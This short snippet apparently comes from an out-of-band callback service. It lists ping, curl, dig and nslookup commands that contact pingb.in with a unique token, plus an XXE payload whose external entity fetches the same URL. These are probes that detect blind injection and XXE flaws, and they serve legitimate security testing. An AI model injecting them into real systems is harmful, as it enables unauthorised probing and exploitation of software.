$ ping -c1 -p 00411116c1c9c90720922e492eb52d00 pingb.in
$ curl pingb.in/p/411116c1c9c90720922e492eb52d
$ dig 411116c1c9c90720922e492eb52d @pingb.in
$ dig 411116c1c9c90720922e492eb52d.ns.pingb.in
C:\> nslookup 411116c1c9c90720922e492eb52d pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/411116c1c9c90720922e492eb52d">]> <foo>&xxe;</foo>